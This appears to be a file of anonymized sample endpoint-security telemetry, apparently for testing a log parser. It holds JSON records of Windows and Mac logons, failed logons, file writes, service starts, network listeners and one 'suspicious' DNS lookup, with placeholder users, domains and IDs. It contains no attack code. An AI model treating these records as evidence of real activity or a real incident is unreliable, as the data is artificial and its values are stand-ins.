+{"AuthenticationId":"317005428","AuthenticationPackage":"Negotiate","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3950066843","EffectiveTransmissionClass":"2","Entitlements":"15","LogoffTime":"1604855132.756","LogonDomain":"dom1","LogonServer":"srv2","LogonTime":"1604855131.666","LogonType":"7","PasswordLastSet":"1598119332.510","RemoteAccount":"1","UserFlags":"32","UserIsAdmin":"0","UserLogoffType":"3","UserLogonFlags":"0","UserName":"user4","UserPrincipal":"user.name@dom2.com","UserSid":"S-1-5-21-606747145-1364589140-725345543-28636","aid":"ffffffffe0104823bd3de859d5bc8bc7","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"UserLogoff","id":"ffffffff-1111-11eb-8913-0287fd11c79b","name":"UserLogoffV3","timestamp":"1604855134461"} +{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"537307300","ContextProcessId":"635780922149","ContextThreadId":"9479299143023","ContextTimeStamp":"1604855025.966","DesiredAccess":"1180054","EffectiveTransmissionClass":"3","Entitlements":"15","FileAttributes":"128","FileIdentifier":"0e02a8c7ed9d244887cef0409af0e6190030000000001100","FileObject":"18446695174291796544","Information":"2","IrpFlags":"2180","MajorFunction":"0","MinorFunction":"0","OperationFlags":"0","Options":"83886176","ShareAccess":"3","Status":"0","TargetFileName":"\\Device\\HarddiskVolume4\\Program Files\\Snow Software\\Inventory\\Agent\\cloudmeteringhost.exe","aid":"ffffffff425942f58382dbb11350eeda","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"NewExecutableWritten","id":"ffffffff-1111-11eb-93cb-067deb43537b","name":"NewExecutableWrittenV1","timestamp":"1604855149643"} +{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3765958535","ConnectionDirection":"2","ConnectionFlags":"0","ContextProcessId":"50714198593318","ContextThreadId":"194302491825207","ContextTimeStamp":"1604855150.066","EffectiveTransmissionClass":"3","Entitlements":"15","InContext":"0","LocalAddressIP4":"127.0.0.1","LocalPort":"59491","Protocol":"6","RemoteAddressIP4":"0.0.0.0","RemotePort":"0","aid":"ffffffffa51b4acf9dbc1fc273e6145c","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"NetworkListenIP4","id":"ffffffff-1111-11eb-8726-063418e4a9e7","name":"NetworkListenIP4V5","timestamp":"1604855150545"} +{"ClientComputerName":"com1","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3011122681","ContextProcessId":"7073822473144","ContextThreadId":"48689911139327","ContextTimeStamp":"1604855152.993","EffectiveTransmissionClass":"2","Entitlements":"15","EtwRawProcessId":"744","EtwRawThreadId":"5304","LogonDomain":"BROADCAST","LogonType":"3","RemoteAddressIP4":"67.43.156.14","Status":"3221225581","SubStatus":"3221225578","UserName":"user5","aid":"ffffffffd8844a59acce5e1f4ad01888","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"UserLogonFailed2","id":"ffffffff-1111-11eb-a8aa-067029dffccb","name":"UserLogonFailed2V2","timestamp":"1604855154274"} +{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3343111420","ContextProcessId":"1838383212125","ContextThreadId":"27242382481217","ContextTimeStamp":"1604855151.534","EffectiveTransmissionClass":"3","Entitlements":"15","FileIdentifier":"b0754a8f86feffffb0754a8f86feffff09764a8f86feffff","FileObject":"18446636884348143072","IrpFlags":"1028","MajorFunction":"18","MinorFunction":"0","OperationFlags":"0","TargetFileName":"\\Device\\HarddiskVolume3\\Program Files\\WindowsApps\\Deleted\\Microsoft.Getstarted_9.10.32461.0_x64__8wekyb3d8bbweacf6b996-01b3-402c-bd01-a67529f94699\\clrcompression.dll","aid":"ffffffff4a0946365161093453e596d4","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"ExecutableDeleted","id":"ffffffff-1111-11eb-b23b-064dea059649","name":"ExecutableDeletedV3","timestamp":"1604855154670"} +{"AsepWrittenCount":"0","ConfigBuild":"1007.4.0009202.1","ConfigStateHash":"230795414","ContextProcessId":"318137549555284836","ContextThreadId":"0","ContextTimeStamp":"1604855135.209","DirectoryCreatedCount":"0","DnsRequestCount":"0","Entitlements":"15","ExecutableDeletedCount":"0","FileDeletedCount":"0","NetworkBindCount":"0","NetworkCapableAsepWriteCount":"0","NetworkCloseCount":"0","NetworkConnectCount":"0","NetworkListenCount":"0","NetworkRecvAcceptCount":"0","NewExecutableWrittenCount":"0","RawProcessId":"20195","SHA256HashData":"295fbc2356e8605e804f95cb6d6f992335e247dbf11767fe8781e2a7f889978a","SuspectStackCount":"0","SuspiciousDnsRequestCount":"0","TargetProcessId":"318137549555284836","aid":"ffffffffcfe84e8c6a52c4001bd83761","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"EndOfProcess","id":"ffffffff-1111-11eb-ae31-065d76bec0c3","name":"EndOfProcessMacV11","timestamp":"1604855160047"} +{"ApiReturnValue":"1","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3338885535","ContextProcessId":"683078218537","ContextTimeStamp":"1604855171.731","EffectiveTransmissionClass":"3","Entitlements":"15","EtwRawProcessId":"19400","EtwRawThreadId":"9384","aid":"ffffffff80984ea8b49d9a53f590c566","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"RegisterRawInputDevicesEtw","id":"ffffffff-1111-11eb-a570-0685ba2a382f","name":"RegisterRawInputDevicesEtwV1","timestamp":"1604855173077"} +{"CompletionEventId":"Event_ChannelDataDownloadCompleteV1","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3338885535","DownloadPath":"metahash+/cfs/channelfiles/0000000013/b2acba1a30a3407dae27d0503611022d/C-00000013-00000000-00000408.sys","DownloadPort":"443","DownloadServer":"lfodown01-b.cloudsink.net","EffectiveTransmissionClass":"0","Entitlements":"15","TargetFileName":"C-00000013-00000000-00000408.sys","aid":"ffffffffffc94c645268f64fc900213f","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"LFODownloadConfirmation","id":"ffffffff-1111-11eb-8ab5-0643392fc75d","name":"LFODownloadConfirmationV1","timestamp":"1604855174018"} +{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"1763245019","ContextProcessId":"2071361595421","ContextThreadId":"41650430047375","ContextTimeStamp":"1604855146.590","EffectiveTransmissionClass":"3","Entitlements":"15","FileIdentifier":"4b0121a43dfc1f4ca54eea679ddbcd4eef2103000000ca00","FileObject":"18446622606546437424","IrpFlags":"395312","MajorFunction":"6","MinorFunction":"0","NewFileIdentifier":"4b0121a43dfc1f4ca54eea679ddbcd4eef2103000000ca00","OperationFlags":"0","SourceFileName":"\\Device\\HarddiskVolume3\\Windows\\assembly\\temp\\EKA0UARWWK\\Microsoft.WSMan.Management.ni.dll","TargetFileName":"\\Device\\HarddiskVolume3\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.We0722664#\\c2579d00f9849413b8b7948dd00ac863\\Microsoft.WSMan.Management.ni.dll","aid":"ffffffff280b41b956a91e816bd9b9b0","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"NewExecutableRenamed","id":"ffffffff-1111-11eb-8162-0663305b686f","name":"NewExecutableRenamedV6","timestamp":"1604855177513"} +{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"402097454","ContextProcessId":"66601077523","ContextThreadId":"2500785639062","ContextTimeStamp":"1604855165.213","DesiredAccess":"1048577","EffectiveTransmissionClass":"3","Entitlements":"15","FileAttributes":"128","FileIdentifier":"d2f4250ff1ba3b4ca66e123c5269884ca6f8020000002700","FileObject":"18446641334185168032","Information":"2","IrpFlags":"2180","MajorFunction":"0","MinorFunction":"0","OperationFlags":"0","Options":"35668001","ShareAccess":"3","Status":"0","TargetFileName":"\\Device\\HarddiskVolume3\\Windows\\CbsTemp\\30848497_1904507751\\FodWU","aid":"ffffffff2c9f4066b0b5f2f00265503c","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"DirectoryCreate","id":"ffffffff-1111-11eb-9411-06b7c99be087","name":"DirectoryCreateV1","timestamp":"1604855180332"} +{"AuthenticationId":"999","CommandLine":"C:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p -s wlidsvc","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3343111420","ContextTimeStamp":"1604855196.468","EffectiveTransmissionClass":"3","Entitlements":"15","ImageFileName":"\\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe","InterfaceGuid":"367ABB81-9844-35F1-AD32-98F038001003","InterfaceVersion":"131072","RpcClientProcessId":"949196415400","RpcClientThreadId":"44209361549673","RpcNestingLevel":"0","RpcOpNum":"19","ServiceDisplayName":"wlidsvc","TargetProcessId":"955370934902","TokenType":"1","UserName":"user6","aid":"fffffffffcc4413057adc260e99b0774","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"ServiceStarted","id":"ffffffff-1111-11eb-9c98-02c501fe7d81","name":"ServiceStartedV2","timestamp":"1604855196635"} +{"ConfigBuild":"1007.4.0011104.1","ConfigStateHash":"203564169","ConnectionDirection":"0","ConnectionFlags":"0","ContextProcessId":"319255017313886870","ContextTimeStamp":"1604855200.751","Entitlements":"15","InContext":"0","LocalAddressIP6":"0:0:0:0:0:0:0:0","LocalPort":"0","Protocol":"6","RemoteAddressIP6":"0:0:0:0:0:0:0:1","RemotePort":"2181","aid":"ffffffffed0f41575620ab9fb25ce105","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"NetworkConnectIP6","id":"ffffffff-1111-11eb-81f1-061cdebbd115","name":"NetworkConnectIP6MacV5","timestamp":"1604855200836"} +{"AuthenticationId":"1656178821","AuthenticationPackage":"Kerberos","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3338885535","ContextProcessId":"30254389526587","ContextThreadId":"275230771323179","EffectiveTransmissionClass":"2","Entitlements":"15","LogonDomain":"dom1","LogonId":"1656178821","LogonServer":"srv1","LogonTime":"1604855211.249","LogonType":"5","PasswordLastSet":"1530626210.104","RemoteAccount":"1","SessionId":"0","UserCanonical":"","UserFlags":"32","UserIsAdmin":"0","UserLogonFlags":"0","UserName":"user7","UserPrincipal":"user7@dom4.cm","UserSid":"S-1-5-21-606747145-1364589140-725345543-183372","aid":"ffffffff73164cfa9656c4caff8a2a38","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"UserIdentity","id":"ffffffff-1111-11eb-86e3-02db1faa1327","name":"UserIdentityV2","timestamp":"1604855212031"} +{"AuthenticationId":"999","CommandLine":"C:\\WINDOWS\\System32\\svchost.exe -k netsvcs -p -s NetSetupSvc","ConfigBuild":"1007.3.0010609.1","ConfigStateHash":"4193986770","EffectiveTransmissionClass":"3","Entitlements":"15","ImageFileName":"\\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe","ImageSubsystem":"2","IntegrityLevel":"16384","MD5HashData":"8a0a29438052faed8a2532da50455756","ParentAuthenticationId":"999","ParentProcessId":"2881931477041","ProcessCreateFlags":"525324","ProcessEndTime":"","ProcessParameterFlags":"8193","ProcessStartTime":"1604842733.215","ProcessSxsFlags":"64","RawProcessId":"6160","SHA1HashData":"0000000000000000000000000000000000000000","SHA256HashData":"7fd065bac18c5278777ae44908101cdfed72d26fa741367f0ad4d02020787ab6","SessionId":"0","SourceProcessId":"2881931477041","SourceThreadId":"70316664105336","Tags":"27, 29, 53, 54, 55, 185, 10445360464024, 10445360464025, 10445360464026, 10445360464258, 10445360464273, 10445360464274, 12094627905582, 12094627906234, 211655988347297","TargetProcessId":"2882232404222","TokenType":"2","UserSid":"S-1-5-18","WindowFlags":"128","aid":"ffffffffbe8a46386afe80c5ef64d0b5","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"ProcessRollup2","id":"ffffffff-1111-11eb-b4f9-06e3a7e5503b","name":"ProcessRollup2V16","timestamp":"1604855237946"} +{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"1763245019","ContextProcessId":"1016182570608","ContextThreadId":"37343520154472","ContextTimeStamp":"1604829512.519","DesiredAccess":"1179785","EffectiveTransmissionClass":"3","Entitlements":"15","FileAttributes":"0","FileIdentifier":"7a9c1c1610045d45a54bd6643ac12ea767a5020000000c00","FileObject":"18446670458156489088","Information":"1","IrpFlags":"2180","MajorFunction":"0","MinorFunction":"0","OperationFlags":"0","Options":"16777312","ShareAccess":"5","Status":"0","TargetFileName":"\\Device\\HarddiskVolume3\\Users\\user11\\Downloads\\file.pptx","aid":"ffffffffac4148947ed68497e89f3308","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"RansomwareOpenFile","id":"ffffffff-1111-11eb-9756-06fe7f8f682f","name":"RansomwareOpenFileV4","timestamp":"1604855242091"} +{"AllocateVirtualMemoryCount":"0","ArchiveFileWrittenCount":"0","AsepWrittenCount":"0","BinaryExecutableWrittenCount":"0","CLICreationCount":"0","ConHostId":"13532","ConHostProcessId":"1731198143955","ConfigBuild":"1007.3.0010609.1","ConfigStateHash":"2030177841","ContextData":"","ContextProcessId":"1741732942772","ContextThreadId":"28523520529271","ContextTimeStamp":"1604855274.377","CycleTime":"473618996","DirectoryCreatedCount":"0","DirectoryEnumeratedCount":"0","DnsRequestCount":"0","DocumentFileWrittenCount":"0","EffectiveTransmissionClass":"3","Entitlements":"15","ExeAndServiceCount":"0","ExecutableDeletedCount":"0","ExitCode":"0","FileDeletedCount":"0","GenericFileWrittenCount":"0","ImageSubsystem":"2","InjectedDllCount":"0","InjectedThreadCount":"0","KernelTime":"1406250","MaxThreadCount":"16","ModuleLoadCount":"72","NetworkBindCount":"0","NetworkCapableAsepWriteCount":"0","NetworkCloseCount":"0","NetworkConnectCount":"0","NetworkConnectCountUdp":"0","NetworkListenCount":"0","NetworkModuleLoadCount":"0","NetworkRecvAcceptCount":"0","NewExecutableWrittenCount":"0","ParentProcessId":"1731198143955","PrivilegedProcessHandleCount":"0","ProcessStartTime":"1604855154.465","ProtectVirtualMemoryCount":"0","QueueApcCount":"0","RawProcessId":"18176","RegKeySecurityDecreasedCount":"0","RemovableDiskFileWrittenCount":"0","RunDllInvocationCount":"0","SHA256HashData":"87419b84f34cdb13f699c0f0803c957e48c27ad83334fcad7bac9ad89c0a466f","ScreenshotsTakenCount":"0","ScriptEngineInvocationCount":"0","ServiceEventCount":"0","SetThreadContextCount":"0","SnapshotFileOpenCount":"0","SuspectStackCount":"0","SuspiciousCredentialModuleLoadCount":"0","SuspiciousDnsRequestCount":"0","SuspiciousFontLoadCount":"0","SuspiciousRawDiskReadCount":"0","TargetProcessId":"1741732942772","UnsignedModuleLoadCount":"0","UserMemoryAllocateExecutableCount":"0","UserMemoryAllocateExecutableRemoteCount":"0","UserMemoryProtectExecutableCount":"0","UserMemoryProtectExecutableRemoteCount":"0","UserSid":"S-1-12-1-1647509123-1308660782-3901357462-3999411581","UserTime":"781250","aid":"fffffffffdab492a5a20cd0417395a73","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"EndOfProcess","id":"ffffffff-1111-11eb-b685-0241eaddc553","name":"EndOfProcessV14","timestamp":"1604855276657"} +{"AuthenticationId":"895027","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3338885535","ContextProcessId":"1786917081743","ContextThreadId":"31685015444484","ContextTimeStamp":"1604855317.892","EffectiveTransmissionClass":"3","Entitlements":"15","FileEcpBitmask":"0","FileIdentifier":"0000000000000000be341bb58bc5f1f2a24339010200510e","FileObject":"18446636933702558240","IrpFlags":"1028","IsOnNetwork":"1","IsOnRemovableDisk":"0","MajorFunction":"18","MinorFunction":"0","OperationFlags":"0","Size":"223989","TargetFileName":"\\Device\\Mup\\intranet.dev\\int\\Test.pptx","TokenType":"1","aid":"fffffffffa474d216472f3edb73c75ed","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"OoxmlFileWritten","id":"ffffffff-1111-11eb-9165-067ee18a7975","name":"OoxmlFileWrittenV11","timestamp":"1604855329571"} +{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3765958535","ConnectionDirection":"2","ConnectionFlags":"0","ContextProcessId":"439029805661","ContextThreadId":"273683743193497","ContextTimeStamp":"1604855351.158","EffectiveTransmissionClass":"3","Entitlements":"15","InContext":"0","LocalAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","LocalPort":"50373","Protocol":"6","RemoteAddressIP6":"0:0:0:0:0:0:0:0","RemotePort":"0","aid":"ffffffff1f924e228a807ea4c0f21b0b","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"NetworkListenIP6","id":"ffffffff-1111-11eb-85f5-02ab029194b9","name":"NetworkListenIP6V5","timestamp":"1604855351798"} +{"ConfigBuild":"1007.4.0011104.1","ConfigStateHash":"1457965279","ContextProcessId":"321365562189152025","ContextThreadId":"0","ContextTimeStamp":"1604846070.744","Entitlements":"15","SHA256HashData":"e1bed7598ffdecf63a4d240f8309b528fc45068c6cb8137a5090f3afeb57f29d","Size":"29646","TargetFileName":"/System/Library/CoreServices/SecurityAgentPlugins/HomeDirMechanism.bundle/Contents/MacOS/HomeDirMechanism/..namedfork/rsrc","VnodeModificationType":"10","aid":"ffffffff1f32487185fcde66a9dc0528","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"AsepFileChange","id":"ffffffff-1111-11eb-b9b4-063e98f9b19b","name":"AsepFileChangeMacV2","timestamp":"1604855355495"} +{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3011122681","ContextProcessId":"2932136","ContextThreadId":"36157339485804","ContextTimeStamp":"1604855191.803","EffectiveTransmissionClass":"2","Entitlements":"15","LogonTime":"","PasswordLastSet":"","UserLogonFlags":"1","UserName":"user7","UserSid":"S-1-5-10","aid":"ffffffffa5bd4efaa195a7132c576edc","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"UserLogonFailed","id":"ffffffff-1111-11eb-aa5a-0207e26418af","name":"UserLogonFailedV1","timestamp":"1604855193422"} +{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"1858880895","ConnectionDirection":"0","ConnectionFlags":"0","ContextProcessId":"56042872298","ContextTimeStamp":"1604855136.669","EffectiveTransmissionClass":"3","Entitlements":"15","InContext":"0","LocalAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","LocalPort":"49689","Protocol":"6","RemoteAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","RemotePort":"443","aid":"ffffffff6854438eb4181691ec47e43d","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"NetworkConnectIP6","id":"ffffffff-1111-11eb-a889-061944805289","name":"NetworkConnectIP6V5","timestamp":"1604855199798"} +{"ConfigBuild":"1007.4.0011104.1","ConfigStateHash":"1789338890","ContextProcessId":"321382909294815631","ContextThreadId":"0","ContextTimeStamp":"1604853755.987","Entitlements":"15","SHA256HashData":"fa07e991e0c3f3661794bba39061433265162b10cd9036751941cc45e6a4b583","Size":"165","SourceFileName":"/Library/Application Support/JAMF/tmp/.dat.nosync2c98.VBwjsq","TargetFileName":"/Library/Application Support/JAMF/tmp/6B24D2B6-BC17-4470-8078-91A787A19478","aid":"ffffffffc07b49d6b7426e970523671a","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"NewExecutableRenamed","id":"ffffffff-1111-11eb-8773-06939a2f0915","name":"NewExecutableRenamedMacV1","timestamp":"1604855213224"} +{"ConfigBuild":"1007.4.0011104.1","ConfigStateHash":"203564169","ConnectionDirection":"0","ConnectionFlags":"0","ContextProcessId":"321367236803434269","ContextTimeStamp":"1604855268.323","Entitlements":"15","InContext":"0","LocalAddressIP6":"0:0:0:0:0:0:0:0","LocalPort":"51076","Protocol":"6","RemoteAddressIP6":"0:0:0:0:0:0:0:0","RemotePort":"0","aid":"ffffffffa60a47af4ebd2a76070f0d4f","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"NetworkListenIP6","id":"ffffffff-1111-11eb-9a50-0669ff09604d","name":"NetworkListenIP6MacV5","timestamp":"1604855268755"} +{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3765958535","ContextProcessId":"1611521722601","ContextThreadId":"53405065993811","ContextTimeStamp":"1604855280.307","DomainName":"raw.githubusercontent.com","DualRequest":"0","EffectiveTransmissionClass":"3","Entitlements":"15","InterfaceIndex":"0","RequestType":"1","aid":"ffffffff6d724d38af99c628fb904626","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"SuspiciousDnsRequest","id":"ffffffff-1111-11eb-885e-02ac336efd4b","name":"SuspiciousDnsRequestV2","timestamp":"1604855323217"} +{"ConfigBuild":"100.3.0011603.1","ContextProcessId":"4492535979973","ContextThreadId":"14023068415125","ContextTimeStamp":"1604855315.034","DiskParentDeviceInstanceId":"PCI\\VEN_8086\u0026DEV_31E3\u0026SUBSYS_080C1028\u0026REV_03\\3\u002611583659\u00260\u002690","EffectiveTransmissionClass":"3","Entitlements":"15","VolumeDeviceCharacteristics":"131072","VolumeDeviceObjectFlags":"134479872","VolumeDeviceType":"8","VolumeDriveLetter":"C:","VolumeFileSystemDevice":"\\Ntfs","VolumeFileSystemDriver":"\\FileSystem\\Ntfs","VolumeFileSystemType":"2","VolumeIsEncrypted":"0","VolumeMountPoint":"\\??\\Volume{9b46da3f-ce44-432f-9230-c9201504bfd7}","VolumeName":"\\Device\\HarddiskVolume4","VolumeRealDeviceName":"\\Device\\HarddiskVolume4","VolumeSectorSize":"512","aid":"ffffffff1990483499a736373600eef7","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"FsVolumeMounted","id":"ffffffff-1111-11eb-9be9-024459b713c5","name":"FsVolumeMountedV6","timestamp":"1604855329102"} +{"ConfigBuild":"1007.4.0011104.1","ConfigStateHash":"1789338890","ConnectionDirection":"0","ConnectionFlags":"0","ContextProcessId":"321210562584146513","ContextTimeStamp":"1604855127.011","Entitlements":"15","InContext":"0","LocalAddressIP4":"127.0.0.1","LocalPort":"53","Protocol":"6","RemoteAddressIP4":"0.0.0.0","RemotePort":"0","aid":"ffffffffe5ff467b4f0c4fd41a4462bb","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"NetworkListenIP4","id":"ffffffff-1111-11eb-ae74-065212970c5d","name":"NetworkListenIP4MacV5","timestamp":"1604855128936"} +{"AuthenticationId":"999","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3338885535","ContextTimeStamp":"1604855185.108","EffectiveTransmissionClass":"3","Entitlements":"15","ImageFileName":"\\Device\\HarddiskVolume1\\Windows\\System32\\gpsvc.dll","InterfaceGuid":"367ABB81-9844-35F1-AD32-98F038001003","InterfaceVersion":"131072","RpcClientProcessId":"219053851298","RpcClientThreadId":"22047924482692","RpcNestingLevel":"0","RpcOpNum":"19","ServiceDisplayName":"gpsvc","TargetProcessId":"224116976578","TargetThreadId":"22920092479704","TokenType":"1","UserName":"user7","aid":"ffffffff59514ea68b4693ddfb9b6643","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"HostedServiceStarted","id":"ffffffff-1111-11eb-860c-0606af112d55","name":"HostedServiceStartedV2","timestamp":"1604855184068"} +{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3338885535","ContextTimeStamp":"1604855299.018","EffectiveTransmissionClass":"3","Entitlements":"15","ServiceDisplayName":"wuauserv","TargetProcessId":"661455186053","TargetThreadId":"24238019995551","aid":"ffffffff2b5a4bf5afc6682595faa016","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"HostedServiceStopped","id":"ffffffff-1111-11eb-9b11-0602a5689467","name":"HostedServiceStoppedV1","timestamp":"1604855302512"} +{"AuthenticationId":"3443175","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3338885535","ContextProcessId":"1091372257857","ContextThreadId":"36855848099771","ContextTimeStamp":"1604855227.625","DiskParentDeviceInstanceId":"PCI\\VEN_1179\u0026DEV_0113\u0026SUBSYS_00011179\u0026REV_01\\4\u00263ad42678\u00260\u002600E0","EffectiveTransmissionClass":"3","Entitlements":"15","FileEcpBitmask":"0","FileIdentifier":"f5ce07c6af67ec4ebe0846ff200bfc2f54f7020000002100","FileObject":"18446603341701082336","IrpFlags":"1028","IsOnNetwork":"0","IsOnRemovableDisk":"0","MajorFunction":"18","MinorFunction":"0","OperationFlags":"0","Size":"288041","TargetFileName":"\\Device\\HarddiskVolume3\\Users\\user12\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\TempState\\Downloads\\ex.pdf.8e41hf8.partial","TokenType":"1","aid":"ffffffff32cb4abc50bc133b31a69946","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"PdfFileWritten","id":"ffffffff-1111-11eb-baea-02dccfbb7779","name":"PdfFileWrittenV11","timestamp":"1604855264313"} +{"AuthenticationId":"3783389","CommandLine":"\"C:\\WINDOWS\\system32\\backgroundTaskHost.exe\" -ServerName:App.AppXnme9zjyebb2xnyygh6q9ev6p5d234br2.mca","ConfigBuild":"1007.3.0012309.1","ConfigStateHash":"3998263252","EffectiveTransmissionClass":"3","Entitlements":"15","ImageFileName":"\\Device\\HarddiskVolume3\\Windows\\System32\\backgroundTaskHost.exe","ImageSubsystem":"2","IntegrityLevel":"4096","MD5HashData":"50d5fd1290d94d46acca0585311e74d5","ParentAuthenticationId":"3783389","ParentBaseFileName":"svchost.exe","ParentProcessId":"2439558094566","ProcessCreateFlags":"525332","ProcessEndTime":"","ProcessParameterFlags":"16385","ProcessStartTime":"1604855181.648","ProcessSxsFlags":"1600","RawProcessId":"22272","RpcClientProcessId":"2439558094566","SHA1HashData":"0000000000000000000000000000000000000000","SHA256HashData":"b8e176fe76a1454a00c4af0f8bf8870650d9c33d3e333239a59445c5b35c9a37","SessionId":"1","SourceProcessId":"2439558094566","SourceThreadId":"77538684027214","Tags":"41, 12094627905582, 12094627906234","TargetProcessId":"2450046082233","TokenType":"2","UserSid":"S-1-12-1-3697283754-1083485977-2164330645-2516515886","WindowFlags":"128","aid":"ffffffff655344736aca58d17fb570f0","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"ProcessRollup2","id":"ffffffff-1111-11eb-8462-02ade3b2f949","name":"ProcessRollup2V18","timestamp":"1601546312519"} +{"AuthenticationId":"326190744","AuthenticationUuid":"98467113-C771-4845-B71B-89B3CE9F93C9","AuthenticationUuidAsString":"13714698-71C7-4548-B71B-89B3CE9F93C9","ConfigBuild":"1007.4.0011104.1","ConfigStateHash":"1457965279","Entitlements":"15","UID":"326190744","UserPrincipal":"user8@dom6","UserSid":"S-1-5-21-3629339319-2376021926-2724479216-652382488","aid":"ffffffff1f32487185fcde66a9dc0528","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"UserIdentity","id":"ffffffff-1111-11eb-b9b4-063e98f9b19b","name":"UserIdentityMacV2","timestamp":"1604855355388"} +{"BootArgs":" NOEXECUTE=OPTIN HYPERVISORLAUNCHTYPE=AUTO FVEBOOT=2125824 NOVGA","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"1874387338","EffectiveTransmissionClass":"0","Entitlements":"15","MachineDomain":"","aid":"ffffffffcdb543135e7fcdf8e5a8fbdb","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"HostInfo","id":"ffffffff-1111-11eb-9bbd-061290dcd983","name":"HostInfoV2","timestamp":"1604855157555"} +{"AuthenticationId":"703298","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"2642284486","ContextProcessId":"1161025471861","ContextThreadId":"34929528116709","ContextTimeStamp":"1604851030.593","DiskParentDeviceInstanceId":"USB\\VID_1058\u0026PID_2621\\57583431453939315A4C5255","EffectiveTransmissionClass":"3","Entitlements":"15","FileEcpBitmask":"0","FileIdentifier":"262fbc677256cf4c8d6c6a227285a072c06830873b000000","FileObject":"18446664963104449168","IrpFlags":"1028","IsOnNetwork":"0","IsOnRemovableDisk":"1","MajorFunction":"18","MinorFunction":"0","OperationFlags":"0","Size":"517029","TargetFileName":"\\Device\\HarddiskVolume5\\01.png.tmp$$","TokenType":"1","UserName":"user9","aid":"ffffffff16bf4c7bb5ad755a4722025c","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"GenericFileWritten","id":"ffffffff-1111-11eb-800a-06cecfd73923","name":"GenericFileWrittenV11","timestamp":"1604851031298"} 